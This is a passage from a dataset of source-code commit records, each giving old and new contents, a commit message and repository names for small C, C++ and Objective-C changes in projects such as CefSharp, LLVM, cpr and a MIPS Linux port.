OnBeforeResourceLoad(IWebBrowser^ browser, IRequestResponse^ requestResponse);\n        void OnResourceResponse(IWebBrowser^ browser, String^ url, int status, String^ statusText, String^ mimeType, WebHeaderCollection^ headers);\n        bool GetDownloadHandler(IWebBrowser^ browser, String^ mimeType, String^ fileName, Int64 contentLength, IDownloadHandler ^% handler);\n        bool GetAuthCredentials(IWebBrowser^ browser, bool isProxy, String^ host ,int port, String^ realm, String^ scheme, String^% username, String^% password);\n   };\n}\n","new_contents":"\/\/ Copyright  2010-2013 The CefSharp Project. All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found in the LICENSE file.\n\n#pragma once\n\n#include \"Stdafx.h\"\n#include \"IRequestResponse.h\"\n\nusing namespace System;\nusing namespace System::Net;\nusing namespace System::Runtime::InteropServices;\n\nnamespace CefSharp\n{\n    public enum class NavigationType\n    {\n        LinkClicked = NAVIGATION_LINK_CLICKED,\n        FormSubmitted = NAVIGATION_FORM_SUBMITTED,\n        BackForward = NAVIGATION_BACK_FORWARD,\n        Reload = NAVIGATION_RELOAD,\n        FormResubmitted = NAVIGATION_FORM_RESUBMITTED,\n        Other = NAVIGATION_OTHER\n    };\n\n    public interface class IRequestHandler\n    {\n        bool OnBeforeBrowse(IWebBrowser^ browser, IRequest^ request, NavigationType navigationType, bool isRedirect);\n        bool OnBeforeResourceLoad(IWebBrowser^ browser, IRequestResponse^ requestResponse);\n        void OnResourceResponse(IWebBrowser^ browser, String^ url, int status, String^ statusText, String^ mimeType, WebHeaderCollection^ headers);\n        bool GetDownloadHandler(IWebBrowser^ browser, [Out] IDownloadHandler ^% handler);\n        bool GetAuthCredentials(IWebBrowser^ browser, bool isProxy, String^ host ,int port, String^ realm, String^ scheme, String^% username, String^% password);\n   };\n}\n","subject":"Use a proper Out parameter.","message":"Use a proper Out parameter.\n","lang":"C","license":"bsd-3-clause","repos":"wangzheng888520\/CefSharp,VioletLife\/CefSharp,VioletLife\/CefSharp,yoder\/CefSharp,AJDev77\/CefSharp,wangzheng888520\/CefSharp,wangzheng888520\/CefSharp,illfang\/CefSharp,AJDev77\/CefSharp,battewr\/CefSharp,battewr\/CefSharp,NumbersInternational\/CefSharp,windygu\/CefSharp,twxstar\/CefSharp,Haraguroicha\/CefSharp,Livit\/CefSharp,zhangjingpu\/CefSharp,rover886\/CefSharp,Haraguroicha\/CefSharp,zhangjingpu\/CefSharp,VioletLife\/CefSharp,yoder\/CefSharp,haozhouxu\/CefSharp,rlmcneary2\/CefSharp,dga711\/CefSharp,gregmartinhtc\/CefSharp,rlmcneary2\/CefSharp,rover886\/CefSharp,zhangjingpu\/CefSharp,joshvera\/CefSharp,gregmartinhtc\/CefSharp,jamespearce2006\/CefSharp,Haraguroicha\/CefSharp,jamespearce2006\/CefSharp,Octopus-ITSM\/CefSharp,haozhouxu\/CefSharp,dga711\/CefSharp,yoder\/CefSharp,joshvera\/CefSharp,ITGlobal\/CefSharp,haozhouxu\/CefSharp,ITGlobal\/CefSharp,AJDev77\/CefSharp,Octopus-ITSM\/CefSharp,haozhouxu\/CefSharp,Octopus-ITSM\/CefSharp,gregmartinhtc\/CefSharp,dga711\/CefSharp,twxstar\/CefSharp,jamespearce2006\/CefSharp,ITGlobal\/CefSharp,windygu\/CefSharp,gregmartinhtc\/CefSharp,jamespearce2006\/CefSharp,Livit\/CefSharp,Livit\/CefSharp,ruisebastiao\/CefSharp,illfang\/CefSharp,zhangjingpu\/CefSharp,Octopus-ITSM\/CefSharp,windygu\/CefSharp,AJDev77\/CefSharp,ruisebastiao\/CefSharp,NumbersInternational\/CefSharp,twxstar\/CefSharp,illfang\/CefSharp,rover886\/CefSharp,yoder\/CefSharp,battewr\/CefSharp,ruisebastiao\/CefSharp,jamespearce2006\/CefSharp,rover886\/CefSharp,VioletLife\/CefSharp,dga711\/CefSharp,ruisebastiao\/CefSharp,rlmcneary2\/CefSharp,windygu\/CefSharp,NumbersInternational\/CefSharp,joshvera\/CefSharp,ITGlobal\/CefSharp,NumbersInternational\/CefSharp,rover886\/CefSharp,wangzheng888520\/CefSharp,Livit\/CefSharp,Haraguroicha\/CefSharp,illfang\/CefSharp,battewr\/CefSharp,Haraguroicha\/CefSharp,twxstar\/CefSharp,joshvera\/CefSharp,rlmcneary2\/CefSharp"}
{"commit":"172dfb5cae6780455d338fd38a16c87dfe92073b","old_file":"include\/edata.h","new_file":"include\/edata.h","old_contents":"#ifndef _MY_EDATA\n#define _MY_EDATA\n\n#ifdef __cplusplus\n#define EXTERNC extern \"C\"\n#else\n#define EXTERNC\n#endif\n\n\/** @brief struct that carries all information about experimental data *\/\ntypedef struct edata {\n    \/** observed data *\/\n    double *am_my; \n    \/** standard deviation of observed data *\/\n    double *am_ysigma; \n    \n    \/** observed events *\/\n    double *am_mz; \n    \/** standard deviation of observed events *\/\n    double *am_zsigma;\n    \n    \/** boolean indicating whether experimental data was provided *\/\n    bool am_bexpdata;\n    \n\t} ExpData;\n\nEXTERNC void freeExpData(ExpData *edata);\n\n#endif \/* _MY_EDATA *\/\n","new_contents":"#ifndef _MY_EDATA\n#define _MY_EDATA\n\n#ifdef __cplusplus\n#define EXTERNC extern \"C\"\n#else\n#define EXTERNC\n#include <stdbool.h>\n#endif\n\n\/** @brief struct that carries all information about experimental data *\/\ntypedef struct edata {\n    \/** observed data *\/\n    double *am_my; \n    \/** standard deviation of observed data *\/\n    double *am_ysigma; \n    \n    \/** observed events *\/\n    double *am_mz; \n    \/** standard deviation of observed events *\/\n    double *am_zsigma;\n    \n    \/** boolean indicating whether experimental data was provided *\/\n    bool am_bexpdata;\n    \n} ExpData;\n\nEXTERNC void freeExpData(ExpData *edata);\n\n#endif \/* _MY_EDATA *\/\n","subject":"Fix type bool for C","message":"Fix type bool for C\n","lang":"C","license":"bsd-2-clause","repos":"AMICI-developer\/AMICI,FFroehlich\/AMICI,AMICI-developer\/AMICI,AMICI-developer\/AMICI,FFroehlich\/AMICI,FFroehlich\/AMICI,FFroehlich\/AMICI,AMICI-developer\/AMICI"}
{"commit":"7e8e1e91c25b4c2664b1768b96070e722f804c74","old_file":"include\/error.h","new_file":"include\/error.h","old_contents":"#ifndef CPR_ERROR_H\n#define CPR_ERROR_H\n\n#include <string>\n\n#include \"cprtypes.h\"\n#include \"defines.h\"\n\nnamespace cpr {\n\nenum class ErrorCode {\n    OK = 0,\n    CONNECTION_FAILURE,\n    EMPTY_RESPONSE,\n    HOST_RESOLUTION_FAILURE,\n    INTERNAL_ERROR,\n    INVALID_URL_FORMAT,\n    NETWORK_RECEIVE_ERROR,\n    NETWORK_SEND_FAILURE,\n    OPERATION_TIMEDOUT,\n    PROXY_RESOLUTION_FAILURE,\n    SSL_CONNECT_ERROR,\n    SSL_LOCAL_CERTIFICATE_ERROR,\n    SSL_REMOTE_CERTIFICATE_ERROR,\n    SSL_CACERT_ERROR,\n    GENERIC_SSL_ERROR,\n    UNSUPPORTED_PROTOCOL,\n    UNKNOWN_ERROR = 1000,\n};\n\nErrorCode getErrorCodeForCurlError(int curl_code);\n\nclass Error {\n  public:\n    Error() : code{ErrorCode::OK}, message{\"\"} {}\n\n    template <typename TextType>\n    Error(const ErrorCode& p_error_code, TextType&& p_error_message)\n            : code{p_error_code}, message{CPR_FWD(p_error_message)} {}\n\n    explicit operator bool() const {\n        return code != ErrorCode::OK;\n    }\n\n    ErrorCode code;\n    std::string message;\n};\n\n} \/\/ namespace cpr\n\n#endif\n","new_contents":"#ifndef CPR_ERROR_H\n#define CPR_ERROR_H\n\n#include <string>\n\n#include \"cprtypes.h\"\n#include \"defines.h\"\n\nnamespace cpr {\n\nenum class ErrorCode {\n    OK = 0,\n    CONNECTION_FAILURE,\n    EMPTY_RESPONSE,\n    HOST_RESOLUTION_FAILURE,\n    INTERNAL_ERROR,\n    INVALID_URL_FORMAT,\n    NETWORK_RECEIVE_ERROR,\n    NETWORK_SEND_FAILURE,\n    OPERATION_TIMEDOUT,\n    PROXY_RESOLUTION_FAILURE,\n    SSL_CONNECT_ERROR,\n    SSL_LOCAL_CERTIFICATE_ERROR,\n    SSL_REMOTE_CERTIFICATE_ERROR,\n    SSL_CACERT_ERROR,\n    GENERIC_SSL_ERROR,\n    UNSUPPORTED_PROTOCOL,\n    UNKNOWN_ERROR = 1000,\n};\n\nErrorCode getErrorCodeForCurlError(int curl_code);\n\nclass Error {\n  public:\n    Error() : code{ErrorCode::OK} {}\n\n    template <typename TextType>\n    Error(const ErrorCode& p_error_code, TextType&& p_error_message)\n            : code{p_error_code}, message{CPR_FWD(p_error_message)} {}\n\n    explicit operator bool() const {\n        return code != ErrorCode::OK;\n    }\n\n    ErrorCode code;\n    std::string message;\n};\n\n} \/\/ namespace cpr\n\n#endif\n","subject":"Remove explicit instantiation of empty message","message":"Remove explicit instantiation of empty message\n","lang":"C","license":"mit","repos":"whoshuu\/cpr,SuperV1234\/cpr,msuvajac\/cpr,whoshuu\/cpr,msuvajac\/cpr,whoshuu\/cpr,SuperV1234\/cpr,SuperV1234\/cpr,msuvajac\/cpr"}
{"commit":"cc8f0b827fdd616a3358fc939a2811bc0d6c3f79","old_file":"arch\/mips\/qemu\/q-irq.c","new_file":"arch\/mips\/qemu\/q-irq.c","old_contents":"#include <linux\/init.h>\n#include <linux\/linkage.h>\n\n#include <asm\/i8259.h>\n#include <asm\/mipsregs.h>\n#include <asm\/qemu.h>\n#include <asm\/system.h>\n#include <asm\/time.h>\n\nextern asmlinkage void qemu_handle_int(void);\n\nasmlinkage void plat_irq_dispatch(void)\n{\n\tunsigned int pending = read_c0_status() & read_c0_cause();\n\n\tif (pending & 0x8000) {\n\t\tll_timer_interrupt(Q_COUNT_COMPARE_IRQ);\n\t\treturn;\n\t}\n\tif (pending & 0x0400) {\n\t\tint irq = i8259_irq();\n\n\t\tif (likely(irq >= 0))\n\t\t\tdo_IRQ(irq);\n\n\t\treturn;\n\t}\n}\n\nvoid __init arch_init_irq(void)\n{\n\tmips_hpt_frequency = QEMU_C0_COUNTER_CLOCK;\t\t\/* 100MHz *\/\n\n\tinit_i8259_irqs();\n\tset_c0_status(0x8400);\n}\n","new_contents":"#include <linux\/init.h>\n#include <linux\/linkage.h>\n\n#include <asm\/i8259.h>\n#include <asm\/mipsregs.h>\n#include <asm\/qemu.h>\n#include <asm\/system.h>\n#include <asm\/time.h>\n\nasmlinkage void plat_irq_dispatch(void)\n{\n\tunsigned int pending = read_c0_status() & read_c0_cause();\n\n\tif (pending & 0x8000) {\n\t\tll_timer_interrupt(Q_COUNT_COMPARE_IRQ);\n\t\treturn;\n\t}\n\tif (pending & 0x0400) {\n\t\tint irq = i8259_irq();\n\n\t\tif (likely(irq >= 0))\n\t\t\tdo_IRQ(irq);\n\n\t\treturn;\n\t}\n}\n\nvoid __init arch_init_irq(void)\n{\n\tmips_hpt_frequency = QEMU_C0_COUNTER_CLOCK;\t\t\/* 100MHz *\/\n\n\tinit_i8259_irqs();\n\tset_c0_status(0x8400);\n}\n","subject":"Remove prototype for deleted function qemu_handle_int","message":"[MIPS] Remove prototype for deleted function qemu_handle_int\n\nSigned-off-by: Ralf Baechle <92f48d309cda194c8eda36aa8f9ae28c488fa208@linux-mips.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"4c370c5d3e82c2e043b83b778950ca3056976e9f","old_file":"test\/profile\/instrprof-error.c","new_file":"test\/profile\/instrprof-error.c","old_contents":"\/\/ RUN: %clang_profgen -o %t -O3 %s\n\/\/ RUN: env LLVM_PROFILE_FILE=\"\/\" LLVM_PROFILE_VERBOSE_ERRORS=1 %run %t 1 2>&1 | FileCheck %s\n\nint main(int argc, const char *argv[]) {\n  if (argc < 2)\n    return 1;\n  return 0;\n}\n\/\/ CHECK: LLVM Profile: Failed to write file \n","new_contents":"\/\/ RUN: %clang_profgen -o %t -O3 %s\n\/\/ RUN: env LLVM_PROFILE_FILE=\"%t\/\" LLVM_PROFILE_VERBOSE_ERRORS=1 %run %t 1 2>&1 | FileCheck %s\n\nint main(int argc, const char *argv[]) {\n  if (argc < 2)\n    return 1;\n  return 0;\n}\n\/\/ CHECK: LLVM Profile: Failed to write file \n","subject":"Test error reporting by writing to a temp directory","message":"[profile] Test error reporting by writing to a temp directory\n\nThis test case is meant to check whether verbose error logging works. It\ndoes this by _failing_ to write a profile to a path corresponding to a\ndirectory. Make this clearer by writing to a temporary directory.\n\nPatch suggested by Sean Silva!\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@264817 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"16db6c6d5da64216719f3809bf34476a02c62d02","old_file":"capstone_dissasembly.c","new_file":"capstone_dissasembly.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <inttypes.h>\n#include <capstone\/capstone.h>\n\n#define X86_CODE \\\n    \"\\x55\\x48\\x8b\\x05\\xb8\\x13\\x00\\x00\\xe9\\x14\\x9e\\x08\\x00\\x45\\x31\\xe4\"\n\nint main(int argc, char* argv[])\n{\n\tcsh handle;\n\tcs_insn *insn;\n\tsize_t count;\n\tint rc = 0;\n\n\tif (cs_open(CS_ARCH_X86, CS_MODE_64, &handle) != CS_ERR_OK) {\n\t\treturn 1;\n\t}\n\n\tcs_option(handle, CS_OPT_DETAIL, CS_OPT_ON);\n\n\tcount = cs_disasm(handle, (const uint8_t*) X86_CODE, sizeof(X86_CODE) - 1, 0x1000, 0, &insn);\n\n\tif (count > 0) {\n\t\tprintf(\"count = %zu\\n\", count);\n\t\tfor (size_t i = 0; i < count; i++) {\n\t\t\tprintf(\"0x%\"PRIx64\": % - 6s %s\\n\", insn[i].address, insn[i].mnemonic, insn[i].op_str);\n\t\t}\n\t\tcs_free(insn, count);\n\t} else {\n\t\tputs(\"ERROR: Failed to dissasemble given code!\\n\");\n\t\trc = 1;\n\t}\n\n\tcs_close(&handle);\n\n\treturn rc;\n}\n\n","subject":"Add capstone dissasembly C example.","message":"Add capstone dissasembly C example.\n\ncompile with: gcc capstone_dissasembly.c -o capstone -lcapstone\n","lang":"C","license":"apache-2.0","repos":"tisma\/ctorious,tisma\/ctorious"}
{"commit":"37812c16e76bd7dd05d87f817005f8e32c5659fb","old_file":"core\/metautils\/src\/vectorLinkdef.h","new_file":"core\/metautils\/src\/vectorLinkdef.h","old_contents":"#include <string>\n#include <vector>\n#ifndef __hpux\nusing namespace std;\n#endif\n\n#pragma create TClass vector<bool>;\n#pragma create TClass vector<char>;\n#pragma create TClass vector<short>;\n#pragma create TClass vector<long>;\n#pragma create TClass vector<unsigned char>;\n#pragma create TClass vector<unsigned short>;\n#pragma create TClass vector<unsigned int>;\n#pragma create TClass vector<unsigned long>;\n#pragma create TClass vector<float>;\n#pragma create TClass vector<double>;\n#pragma create TClass vector<char*>;\n#pragma create TClass vector<const char*>;\n#pragma create TClass vector<string>;\n\n#if (!(G__GNUC==3 && G__GNUC_MINOR==1)) && !defined(G__KCC) && (!defined(G__VISUAL) || G__MSC_VER<1300)\n\/\/ gcc3.1,3.2 has a problem with iterator<void*,...,void&>\n#pragma create TClass vector<void*>;\n#endif\n","new_contents":"#include <string>\n#include <vector>\n#ifndef __hpux\nusing namespace std;\n#endif\n\n#pragma create TClass vector<bool>;\n#pragma create TClass vector<char>;\n#pragma create TClass vector<short>;\n#pragma create TClass vector<long>;\n#pragma create TClass vector<unsigned char>;\n#pragma create TClass vector<unsigned short>;\n#pragma create TClass vector<unsigned int>;\n#pragma create TClass vector<unsigned long>;\n#pragma create TClass vector<float>;\n#pragma create TClass vector<double>;\n#pragma create TClass vector<char*>;\n#pragma create TClass vector<const char*>;\n#pragma create TClass vector<string>;\n#pragma create TClass vector<Long64_t>;\n#pragma create TClass vector<ULong64_t>;\n\n#if (!(G__GNUC==3 && G__GNUC_MINOR==1)) && !defined(G__KCC) && (!defined(G__VISUAL) || G__MSC_VER<1300)\n\/\/ gcc3.1,3.2 has a problem with iterator<void*,...,void&>\n#pragma create TClass vector<void*>;\n#endif\n","subject":"Add missing TClass creation for vector<Long64_t> and vector<ULong64_t>","message":"Add missing TClass creation for vector<Long64_t> and vector<ULong64_t>\n\n\ngit-svn-id: acec3fd5b7ea1eb9e79d6329d318e8118ee2e14f@38659 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"bbockelm\/root-historical,bbockelm\/root-historical,bbockelm\/root-historical,bbockelm\/root-historical,bbockelm\/root-historical,bbockelm\/root-historical,bbockelm\/root-historical"}
{"commit":"15d259806b2d761e5d5e01ebdbd8e7b5db12eb94","old_file":"test\/FrontendC\/x86-64-red-zone.c","new_file":"test\/FrontendC\/x86-64-red-zone.c","old_contents":"\/\/ RUN: $llvmgcc -m64 -fomit-frame-pointer -O2 %s -S -o - > %t\n\/\/ RUN: not grep subq %t\n\/\/ RUN: not grep addq %t\n\/\/ RUN: grep {\\\\-4(%%rsp)} %t | count 2\n\/\/ RUN: $llvmgcc -m64 -fomit-frame-pointer -O2 %s -S -o - -mno-red-zone > %t\n\/\/ RUN: grep subq %t | count 1\n\/\/ RUN: grep addq %t | count 1\n\/\/ This is a test for x86-64, add your target below if it FAILs.\n\/\/ XFAIL: alpha|ia64|arm|powerpc|sparc|x86\n\nlong double f0(float f) { return f; }\n","new_contents":"\/\/ RUN: $llvmgcc -m64 -fomit-frame-pointer -O2 %s -S -o - > %t\n\/\/ RUN: not grep subq %t\n\/\/ RUN: not grep addq %t\n\/\/ RUN: grep {\\\\-4(%%rsp)} %t | count 2\n\/\/ RUN: $llvmgcc -m64 -fomit-frame-pointer -O2 %s -S -o - -mno-red-zone > %t\n\/\/ RUN: grep subq %t | count 1\n\/\/ RUN: grep addq %t | count 1\n\/\/ This is a test for x86-64, add your target below if it FAILs.\n\/\/ XFAIL: alpha|ia64|arm|powerpc|sparc|i.86\n\nlong double f0(float f) { return f; }\n","subject":"Make the XFAIL line actually match x86-32 targets.","message":"Make the XFAIL line actually match x86-32 targets.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@63507 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm"}
{"commit":"d5951a944096aa3e38af4a788c3bcea26acd00fb","old_file":"testmud\/mud\/home\/Game\/sys\/subd.c","new_file":"testmud\/mud\/home\/Game\/sys\/subd.c","old_contents":"","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n","subject":"Add subroutine daemon for Game","message":"Add subroutine daemon for Game\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"7bddee2c910460fc164840003b8a2c0c3b1dd284","old_file":"kbase\/basic_macros.h","new_file":"kbase\/basic_macros.h","old_contents":"\/*\n @ 0xCCCCCCCC\n*\/\n\n#if defined(_MSC_VER)\n#pragma once\n#endif\n\n#ifndef KBASE_BASIC_MACROS_H_\n#define KBASE_BASIC_MACROS_H_\n\n#define DISALLOW_COPY(CLASSNAME)                        \\\n    CLASSNAME(const CLASSNAME&) = delete;               \\\n    CLASSNAME& operator=(const CLASSNAME&) = delete\n\n#define DISALLOW_MOVE(CLASSNAME)                        \\\n    CLASSNAME(CLASSNAME&&) = delete;                    \\\n    CLASSNAME& operator=(CLASSNAME&&) = delete\n\n#endif  \/\/ KBASE_BASIC_MACROS_H_","new_contents":"\/*\n @ 0xCCCCCCCC\n*\/\n\n#if defined(_MSC_VER)\n#pragma once\n#endif\n\n#ifndef KBASE_BASIC_MACROS_H_\n#define KBASE_BASIC_MACROS_H_\n\n#define DISALLOW_COPY(CLASSNAME)                        \\\n    CLASSNAME(const CLASSNAME&) = delete;               \\\n    CLASSNAME& operator=(const CLASSNAME&) = delete\n\n#define DISALLOW_MOVE(CLASSNAME)                        \\\n    CLASSNAME(CLASSNAME&&) = delete;                    \\\n    CLASSNAME& operator=(CLASSNAME&&) = delete\n\n#define UNREFED_VAR(x) \\\n    ::kbase::internal::SilenceUnusedVariableWarning(x)\n\n\/\/ Put complicated implementation below.\n\nnamespace kbase {\n\nnamespace internal {\n\ntemplate<typename T>\nvoid SilenceUnusedVariableWarning(T&&)\n{}\n\n}   \/\/ namespace internal\n\n}   \/\/ namespace kbase\n\n#endif  \/\/ KBASE_BASIC_MACROS_H_","subject":"Add a macro UNREFED_VAR to silence unused variables warning.","message":"Add a macro UNREFED_VAR to silence unused variables warning.\n","lang":"C","license":"mit","repos":"kingsamchen\/KBase,kingsamchen\/KBase_Demo,kingsamchen\/KBase,kingsamchen\/KBase_Demo"}
{"commit":"75b1676847e0d2d0b0de1cd80de17a16d8259569","old_file":"Classes\/TGSessionTokenNotifier.h","new_file":"Classes\/TGSessionTokenNotifier.h","old_contents":"#import <Foundation\/Foundation.h>\n\n@protocol TGSessionTokenNotifier <NSObject>\n\n+(void)sessionTokenSet:(NSString*)token;\n\n@end","new_contents":"#import <Foundation\/Foundation.h>\n\n@protocol TGSessionTokenNotifier <NSObject>\n\n-(void)sessionTokenSet:(NSString*)token;\n\n@end","subject":"Make token notifier method instance method","message":"Make token notifier method instance method\n","lang":"C","license":"apache-2.0","repos":"tapglue\/ios_sdk,tapglue\/ios_sdk,tapglue\/snaasSdk-iOS,tapglue\/snaasSdk-iOS,tapglue\/snaasSdk-iOS,tapglue\/ios_sdk"}
{"commit":"d997a15d48dd2d756b4aed69cae32df7d28c94de","old_file":"linesrc.h","new_file":"linesrc.h","old_contents":"\n#ifndef LINESRC_HPP\n#define LINESRC_HPP\n\n#include <stdint.h>\n\n#include <string>\n\nclass haxpp_linesource {\nprivate:\n    linecount_t         lineno_start = 0;\n    linecount_t         lineno = 0;\n    std::string         sourcepath;\n    FILE*               fp = nullptr;\n    char*               line = nullptr;\n    size_t              line_alloc = 0;\n    bool                fp_owner = false;\npublic:\n    static constexpr size_t    line_alloc_minimum = 32u;\n    static constexpr size_t    line_alloc_default = 1200u;\n    static constexpr size_t    line_alloc_maximum = 65536u;\npublic:\n    inline const std::string& getsourcename() const {\n        return sourcepath;\n    }\n    inline size_t linesize() const { \/* total buffer size including room for NUL terminator *\/\n        return line_alloc;\n    }\n    inline linecount_t currentline() const {\n        return lineno;\n    }\npublic:\n    haxpp_linesource();\n    ~haxpp_linesource();\npublic:\n    void setsource();\n    void setsource(FILE *_fp);\n    void setsource(const std::string &path);\n    bool lineresize(const size_t newsz);\n    void close();\n    bool is_open() const;\n    bool eof() const;\n    bool error() const;\n    bool open();\n    char *readline();\n};\n\n#endif \/*LINESRC_HPP*\/\n\n","new_contents":"\n#ifndef LINESRC_HPP\n#define LINESRC_HPP\n\n#include <stdint.h>\n\n#include <string>\n\nclass haxpp_linesource {\nprivate:\n    linecount_t         lineno_start = 0;\n    linecount_t         lineno = 0;\n    std::string         sourcepath;\n    FILE*               fp = nullptr;\n    char*               line = nullptr;\n    size_t              line_alloc = 0;\n    bool                fp_owner = false;\npublic:\n    static constexpr size_t    line_alloc_minimum = 32u;\n    static constexpr size_t    line_alloc_default = 1200u;\n    static constexpr size_t    line_alloc_maximum = 65536u;\npublic:\n    inline const std::string& getsourcename() const {\n        return sourcepath;\n    }\n    inline size_t linesize() const { \/* total buffer size including room for NUL terminator *\/\n        return line_alloc;\n    }\n    inline linecount_t currentline() const {\n        return lineno_start;\n    }\npublic:\n    haxpp_linesource();\n    ~haxpp_linesource();\npublic:\n    void setsource();\n    void setsource(FILE *_fp);\n    void setsource(const std::string &path);\n    bool lineresize(const size_t newsz);\n    void close();\n    bool is_open() const;\n    bool eof() const;\n    bool error() const;\n    bool open();\n    char *readline();\n};\n\n#endif \/*LINESRC_HPP*\/\n\n","subject":"Fix line number off by 1 error","message":"Fix line number off by 1 error\n","lang":"C","license":"lgpl-2.1","repos":"joncampbell123\/haxcc,joncampbell123\/haxcc,joncampbell123\/haxcc,joncampbell123\/haxcc,joncampbell123\/haxcc"}
{"commit":"6978320135e27b7c13a90d26b2bf8b2ba990706d","old_file":"contrib\/other-builds\/moses2\/Search\/SearchCubePruning.h","new_file":"contrib\/other-builds\/moses2\/Search\/SearchCubePruning.h","old_contents":"\/*\n * SearchCubePruning.h\n *\n *  Created on: 16 Nov 2015\n *      Author: hieu\n *\/\n\n#pragma once\n#include <vector>\n#include <boost\/unordered_map.hpp>\n#include \"Search.h\"\n\nclass Bitmap;\n\nclass SearchCubePruning : public Search\n{\npublic:\n\tSearchCubePruning(Manager &mgr, Stacks &stacks);\n\tvirtual ~SearchCubePruning();\n\n\tvoid Decode(size_t stackInd);\n\n\tconst Hypothesis *GetBestHypothesis() const;\n\nprotected:\n\tboost::unordered_map<Bitmap*, std::vector<const Hypothesis*> > m_hyposPerBM;\n};\n\n","new_contents":"\/*\n * SearchCubePruning.h\n *\n *  Created on: 16 Nov 2015\n *      Author: hieu\n *\/\n\n#ifndef SEARCH_SEARCHCUBEPRUNING_H_\n#define SEARCH_SEARCHCUBEPRUNING_H_\n\n#include \"Search.h\"\n\nclass SearchCubePruning : public Search\n{\npublic:\n\tSearchCubePruning(Manager &mgr, Stacks &stacks);\n\tvirtual ~SearchCubePruning();\n\n\tvoid Decode(size_t stackInd);\n\n\tconst Hypothesis *GetBestHypothesis() const;\n\n};\n\n#endif \/* SEARCH_SEARCHCUBEPRUNING_H_ *\/\n","subject":"Revert \"for each input path.2\"","message":"Revert \"for each input path.2\"\n\nThis reverts commit 69e4cb0531ec93868ccc06ec54d52a4f88d62295.\n","lang":"C","license":"lgpl-2.1","repos":"tofula\/mosesdecoder,moses-smt\/mosesdecoder,moses-smt\/mosesdecoder,alvations\/mosesdecoder,tofula\/mosesdecoder,alvations\/mosesdecoder,moses-smt\/mosesdecoder,alvations\/mosesdecoder,moses-smt\/mosesdecoder,alvations\/mosesdecoder,alvations\/mosesdecoder,moses-smt\/mosesdecoder,alvations\/mosesdecoder,alvations\/mosesdecoder,tofula\/mosesdecoder,alvations\/mosesdecoder,tofula\/mosesdecoder,tofula\/mosesdecoder,moses-smt\/mosesdecoder,tofula\/mosesdecoder,tofula\/mosesdecoder,alvations\/mosesdecoder,tofula\/mosesdecoder,moses-smt\/mosesdecoder,moses-smt\/mosesdecoder,tofula\/mosesdecoder,tofula\/mosesdecoder,moses-smt\/mosesdecoder,alvations\/mosesdecoder,alvations\/mosesdecoder,tofula\/mosesdecoder,moses-smt\/mosesdecoder,moses-smt\/mosesdecoder"}
{"commit":"fcdccff46beacec0b37271d75f1ced3093a773e2","old_file":"perl_mongo.h","new_file":"perl_mongo.h","old_contents":"#ifndef PERL_MONGO\n#define PERL_MONGO\n\n#include <mongo\/client\/dbclient.h>\n\nextern \"C\" {\n\n#include \"EXTERN.h\"\n#include \"perl.h\"\n#include \"XSUB.h\"\n\n#define PERL_MONGO_CALL_BOOT(name)  perl_mongo_call_xs (aTHX_ name, cv, mark)\n\nvoid perl_mongo_call_xs (pTHX_ void (*subaddr) (pTHX_ CV *cv), CV *cv, SV **mark);\nSV *perl_mongo_call_reader (SV *self, const char *reader);\nvoid perl_mongo_attach_ptr_to_instance (SV *self, void *ptr);\nvoid *perl_mongo_get_ptr_from_instance (SV *self);\nSV *perl_mongo_construct_instance (const char *klass, ...);\nSV *perl_mongo_construct_instance_va (const char *klass, va_list ap);\nSV *perl_mongo_construct_instance_with_magic (const char *klass, void *ptr, ...);\nSV *perl_mongo_bson_to_sv (const char *oid_class, mongo::BSONObj obj);\nmongo::BSONObj perl_mongo_sv_to_bson (SV *sv, const char *oid_class);\n\n}\n\n#endif\n","new_contents":"#ifndef PERL_MONGO\n#define PERL_MONGO\n\n#include 